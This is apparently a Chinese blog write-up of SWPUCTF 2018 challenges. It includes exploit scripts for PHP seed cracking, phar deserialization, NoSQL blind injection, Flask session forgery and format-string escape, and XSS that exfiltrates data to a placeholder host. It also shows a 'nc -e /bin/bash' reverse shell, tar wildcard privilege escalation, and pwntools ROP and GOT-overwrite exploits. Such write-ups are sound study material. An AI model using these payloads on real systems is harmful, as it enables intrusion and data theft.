kir[A]'s 小黑屋

swpuctf2018

ctf
字数统计: 3.6k阅读时长: 18 min
2018/12/20 281 Share

swpu2018

年底忙成狗，没什么时间，花了两个晚上的时间，做了一下简单的题目，还有些题目后面继续补。

web

用优惠码 买个 X ?

注册一个账号，然后登陆，会弹出一个15位优惠码，在页面输入提醒优惠码为24位，扫描后发现源码，如下：

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<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
	mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    setcookie('Auth', $auth);
}
//support
	if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
               //执行命令
        }else {
              //flag字段和某些字符被过滤!
        }
	}else{
             // 你的输入不正确!
	}
?>

根据源码提示，需要爆破得到随机种子，然后生成24位优惠码，爆破脚本如下：

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<?php
for($x=0;$x<999999999;$x++){
    mt_srand($x);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    if($auth == '4d1Sb0qX2fy1FBV'){
        echo $x . "\n";        
        die();
    }
}

这个效率太低，可以用php_mt_seed，首先将字符串还原为数字

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str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
s = 'Lnnon15igXPrvif'
num = []
for i in range(15):
	if (i<=(15/2)):
		num.append(str_rand.index(s[i]))
	else:
		num.append(str_rand[::-1].index(s[i])+1)

cmd = './php_mt_seed '
for i in num[:]:
	cmd += '{} {} 0 61 '.format(i,i)
print cmd
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# kira @ k1r4 in ~/pwn/swpu/php_mt_seed-4.0 [10:10:38] C:130
$ ./php_mt_seed 47 47 0 61 13 13 0 61 13 13 0 61 14 14 0 61 13 13 0 61 27 27 0 61 31 31 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 511.8 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x12000000 - 0x13ffffff, speed 40.4 Mseeds/s
seed = 0x13af8864 = 330270820 (PHP 7.1.0+)
Found 1, trying 0xfe000000 - 0xffffffff, speed 40.3 Mseeds/s
Found 1

然后根据随机数生成24位的验证码，即可到达命令执行的地方，虽然过滤了不少字符，不过很容易绕过

最后payload:

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ip=0.0.0.0%0aca\t /fl\ag

SimplePHP

file.php可以看查看文件，得到php文件的源码：

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<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

function.php

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<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

class.php

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<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

利用phar触发反序列化，触发过程如下：

  1. file_exists($file)触发phar反序列化
  2. 触发class C1e4r的__destruct()，而函数中的echo $this->test;触发class Show中的__toString()
  3. $content = $this->str['str']->source;由于读取不可访问属性的值时，class Test中 __get() 会被调用。
  4. 最终调用$this->get($key)获取$this->params['source']的源码
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$a = new Test();
$a->params['source']= '/var/www/html/f1ag.php';
$b = new Show();
$b->str['str'] = $a;
$f = new C1e4r($b);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub, 增加gif文件头，伪造文件类型
$phar->setMetadata($f); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

Injection ???

扫描发现info.php发现是使用mangodb，那么可能就是Nosql注入

自动识别验证码+盲注脚本如下：

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# -*- coding: utf-8 -*-
import pytesseract
from PIL import Image
import requests
import string

s = requests.session()
def getvcode():
	url1 = 'http://123.206.213.66:45678/vertify.php'
	pic = s.get(url1)
	p = open('123.png','wb')
	p.write(pic.content)
	p.close()
	im = Image.open('123.png')
	vcode = pytesseract.image_to_string(im)
	return vcode

url2 = 'http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^{}&vertify={}'
pwd = ''
# 'username or password incorrect!'
# 'wrong CAPTCHA!'
# 'Nice!But it is not the real passwd'

for _ in range(5):
	for x in string.lowercase:
		while 1:
			vcode = getvcode()
			check = s.get(url2.format(pwd+x,vcode))
			print check.content
			if 'wrong CAPTCHA!' in check.content:
				continue
			break
		if 'Nice!' in check.content:
			pwd += x
			break
print pwd

皇家线上赌场

打开页面发现了弹窗，查看网页源码，发现了一个文件包含<script src="/static?file=test.js"></script>

测试发现可以成功读取http://107.167.188.241/static?file=/etc/passwd，题目提示是python3.5写的，需要找到web目录。

view-source:http://107.167.188.241/source发现了目录结构

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[root@localhost]# tree web
web/
├── app
│   ├── forms.py
│   ├── __init__.py
│   ├── models.py
│   ├── static
│   ├── templates
│   ├── utils.py
│   └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
    return abort(403)
filename = os.path.join('app/static', filename)

/proc/self/cmdline 可以看到启动命令

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uwsgi --uid=ctf uwsgi.ini

/proc/mounts 或者 /proc/self/maps 可以看到工作目录

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/home/ctf/web_assli3fasdf

由于程序代码过滤<pre> if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404) </pre>，不能直接读，不过用可以通过/proc/self/cwd绕过。

一个符号连接, 指向进程当前的工作目录. 例如, 要找出进程 20 的 cwd, 可以:cd /proc/20/cwd; /bin/pwd

view-source:http://107.167.188.241/static?file=/proc/self/cwd/app/views.py

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def register_views(app):
    @app.before_request
    def reset_account():
        if request.path == '/signup' or request.path == '/login':
            return
        uname = username=session.get('username')
        u = User.query.filter_by(username=uname).first()
        if u:
            g.u = u
            g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
            if uname == 'admin':
                return
            now = int(time())
            if (now - u.ts >= 600):
                u.balance = 10000
                u.count = 0
                u.ts = now
                u.save()
                session['balance'] = 10000
                session['count'] = 0

    @app.route('/getflag', methods=('POST',))
    @login_required
    def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)

view-source:http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py

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from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db

def create_app():
    app = Flask(__name__, static_folder='')
    app.secret_key = '9f516783b42730b7888008dd5c15fe66'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
    register_views(app)
    db.init_app(app)
    return app

有了secret_key，首先想到是伪造admin的session

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X:\tmp
> py -3 session_cookie_manager.py decode -s "9f516783b42730b7888008dd5c15fe66" -c ".eJwVzEEKgDAMBdG7_LVIKtpKLyNpmoCoFaquxLurs3qruZF45SKK6OirpQayX-VE_HVUm8590YKIToN3nklzkkTkLAw0ZjHz1MsYNJEO1mWPBtehtfD2TbHMlfG8O_kfGQ.XBscbw.pI4VrBhi7bb3o_V2_spFrWgysI0"
{'balance': 10000.0, 'count': 0, 'csrf_token': '2e7616a0edbcb001f7508dcff604c87eb0e5f2d6', 'username': 'kira'}

X:\tmp
> py -3 session_cookie_manager.py encode -s "9f516783b42730b7888008dd5c15fe66" -t "{'balance': 1000000.0, 'count': 1000000.0, 'csrf_token': '2e7616a0edbcb001f7508dcff604c87eb0e5f2d6', 'username': 'admin'}"
.eJxVzDsKw0AMRdG9vHoIGpP54M0EjUaC4FgGf6qQvdu4yy1Pcb9o_GEXxRjp7kEBshy-_8u22mtfJnWMGLTkmJm0N2lE0Uqi2sUs01Nq0UaabOgZAcemq_N87cF9fjt-J0JqIVo.XBsiEA.6lDWb7AENFiwelgWZW3hxz4SoFw

成功得到admin的session后，可以进入getflag()，留意这里有一个格式化字符串的漏洞，如何构造python继承链去读取g.flag

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@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
    u = getattr(g, 'u')
    if not u or u.balance < 1000000:
        return '{"s": -1, "msg": "error"}'
    field = request.form.get('field', 'username')
    mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
    jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
    return jdata.format(field, g.u, mhash)

根据提示，user有save方法，一步一步往下找

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"__class__.save":"<function User.save at 0x7f1b740ee048>"
"__class__.save.__globals__":"{..., 'db': <SQLAlchemy engine=sqlite:////tmp/test.db>, ..."
"__class__.save.__globals__[db]":"<SQLAlchemy engine=sqlite:////tmp/test.db>"
"__class__.save.__globals__[db].__class__.__init__.__globals__":"{..., 'current_app': <Flask 'app'>, ...}"

留意到有修饰器@app.before_request

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"__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__":"{..., 'g': <flask.g of 'app'>, ...}"

最终payload：

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{"__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag":"swpuctf{tHl$_15_4_f14G}", "hash": "8bce7edc292f3211b97bc0a981c87135f0329681468bb6a3b487aaa23d8473fd"}

有趣的邮箱

在验证邮箱的页面源码有提示，同时有一个后台管理的页面，不过只允许localhost访问，那么很明显就是通过xss访问管理员的页面了

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<?php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}

首先需要绕过邮箱的过滤，可以直接用"<script/src=//x.x.x.x/123.js></script>"@qq.com绕过

先打一发admin的cookie：email="<script/src=//x.x.x.x:50004></script>"@qq.com

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Referer: http://localhost:6324/admin/admin.php
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Host: x.x.x.x:50004
Accept: */*
Accept-Language: en-US,*
Accept-Encoding: gzip, deflate

然而并没有cookie，不过发现admin的页面链接，尝试读一下admin.php的页面源码，用xssrf-leak的脚本也可以

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var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/admin.php', false);
a.send(null);
b = a.responseText;
location.href = 'http://x.x.x.x:50004/?f=' + escape(b);

email="<script/src=//x.x.x.x:50005/evil></script>"@qq.com

返回结果如下，可以发现一个可以命令执行的链接

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118.89.56.208 - - [20/Dec/2018 16:50:22] "GET / HTTP/1.1" 200 -
{'f': u'<br /><a href="admin/a0a.php?cmd=whoami">'}

反弹shell进行操作方便点

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var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+x.x.x.x+20007', false);
a.send(null);
b = a.responseText;
location.href = 'http://x.x.x.x:50004/?f=' + escape(b);

在根目录发现flag，但是没有权限读

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www-data@VM-48-87-debian:/$ ls -al
-r--------  1 flag flag    36 Dec 18 18:14 flag

在web目录发现一个奇怪的文件夹

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www-data@VM-48-87-debian:~/html/4f0a5ead5aef34138fcbf8cf00029e7b$ ls -al
ls -al
total 72
drwxr-xr-x 6 root root   4096 Dec 19 19:03 .
drwxr-xr-x 4 root root   4096 Dec 20 10:07 ..
-rw-r--r-- 1 root root    320 Dec 18 17:14 backup.php
drwxr-xr-x 2 root root   4096 Dec 13 19:25 css
drwxr-x--- 5 flag nginx 36864 Dec 20 19:59 files
drw-r--r-- 2 root root   4096 Dec 13 19:25 fonts
-rw-r--r-- 1 root root   4714 Dec 16 20:17 index.html
drwxr-xr-x 2 root root   4096 Dec 13 19:25 js
-rw------- 1 root root      0 Dec 19 19:03 nohup.out
-r--r----- 1 flag flag    707 Dec 18 17:13 upload.php

查看backup.php

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<?php
include("upload.php");
echo "上传目录：" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
        echo "上传目录下的所有文件备份成功!<br />";
        echo "备份文件名: z.tar.gz";
}else{
        echo "未上传文件，无法备份！";
}
?>

参考：利用通配符进行Linux本地提权

根据文章的操作方法，利用上传分别上传3个文件，文件为

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--checkpoint=1
--checkpoint-action=exec=sh exp.sh
exp.sh  #内容放需要执行的命令 cat /flag

上传完毕后进行一次备份即可执行命令。

pwn

exploit_1

看完伪代码，第一反应是利用C++异常处理的机制绕过canary，然而由于格式化字符串限制太少，导致这题出现各种非预期解。

预期解

首先用格式化字符串泄露heap地址和libc地址，然后输入-9223372036854775808绕过长度限制进行栈溢出，之后利用C++异常处理的机制绕过canary，并且将栈迁移到堆中进行ROP

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p.sendlineafter('name:\n','%7$p|%12$p')
p.recvuntil('Hello ')
heap_addr = int(p.recvuntil('|',drop=True),16)
libc.address = int(p.recvuntil('please',drop=True)[-14:],16) - libc.sym['_IO_2_1_stdout_']

one_gadget = libc.address + 0x45216
pivot_addr = heap_addr + 0x20
unwind_addr = 0x400EC5 

payload = flat('aaaaaaaa',one_gadget).ljust(0x410,'\x00')
payload += flat(pivot_addr,unwind_addr)
p.sendlineafter('motto:\n',"-9223372036854775808")
p.sendlineafter('motto:\n',payload)
p.interactive()

非预期1

这个方法最简单，既然有格式化字符串，直接泄露canary好了，还绕过啥，溢出直接组ROP

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p.sendlineafter('name:\n','%15$p|%12$p') # Hello 0x7f4de5bb4620please 
p.recvuntil('Hello ')
canary = int(p.recvuntil('|',drop=True),16)
libc.address = int(p.recvuntil('please',drop=True)[-14:],16) - libc.sym['_IO_2_1_stdout_']

payload = 'a'*0x408 + p64(canary) + p64(0xdeadbeef) +p64(0x400fa3)+ p64(libc.search('/bin/sh').next())+p64(libc.sym['system'])
p.sendlineafter('motto:\n',"-9223372036854775808")
p.sendlineafter('motto:\n',payload)
p.interactive()

非预期2

这个方法只需用到格式字符串，连栈溢出都不需要，万一不知-9223372036854775808这个技巧，这个方法也是很好用的，就是麻烦点。思路就是修改free的got表为main函数，然后就是一个死循环，可以为所欲为，之后重新改回正确的free。可以修改free_hook来getshell。

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def skip():
    p.sendlineafter('motto:\n',"2")
    p.sendlineafter('motto:\n',"2")

p.sendlineafter('name:\n','%147c%11$hhn%123c%12$hhn'+p64(elf.got['free'])+p64(elf.got['free']+1))
skip()

p.sendlineafter('name:\n','%12$p')
libc.address = int(p.recvuntil('please',drop=True)[-14:],16) - libc.sym['_IO_2_1_stdout_']
skip()

one_gadget = libc.address + 0x4526a 
free_hook = libc.symbols['__free_hook']

X0 = one_gadget&0x000000ff
X1 = (one_gadget&0x0000ff00)>>8
X2 = (one_gadget&0x00ff0000)>>16
X3 = (one_gadget&0xff000000)>>24
X4 = (one_gadget&0xff00000000)>>32
X5 = (one_gadget&0xff0000000000)>>40

payload = '%{}c%11$hhn%{}c%12$hhn'.format(X0,(X1-X0)&0xff)
payload = payload.ljust(24,'a') + p64(free_hook) + p64(free_hook+1)
p.sendlineafter('name:\n',payload)
skip()

payload = '%{}c%11$hhn%{}c%12$hhn'.format(X2,(X3-X2)&0xff)
payload = payload.ljust(24,'a') + p64(free_hook+2) + p64(free_hook+3)
p.sendlineafter('name:\n',payload)
skip()

payload = '%{}c%11$hhn%{}c%12$hhn'.format(X4,(X5-X4)&0xff)
payload = payload.ljust(24,'a') + p64(free_hook+4) + p64(free_hook+5)
p.sendlineafter('name:\n',payload)
skip()

p.sendlineafter('name:\n','%214c%11$hhn%51c%12$hhn!'+p64(elf.got['free'])+p64(elf.got['free']+1))
skip()

p.interactive()

apk

基础android

apk里面有一个zip文件，其实是个jpg，修改后缀打开

android 2.0

关键算法在so里面，程序将15位输入分成3块，每块在进行一次简单的运算，直接逆一下就行了。

Misc

签到题

  1. 修改分辨率得到一部分flag
  2. 文件末位有另一部分flag

唯有低头,才能出头

举头望明月,低头… ，（看键盘）

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99 9 9 88 5 66 3 3 666 33 88 3 6 555 9 11 4 33

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looktheendkeyboard

流量签到

直接搜关键字

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原文作者：kira

原文链接：https://4f-kira.github.io/2018/12/20/swpuctf2018/

发表日期：December 20th 2018, 11:11:03 am

更新日期：December 21st 2018, 11:36:04 am

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

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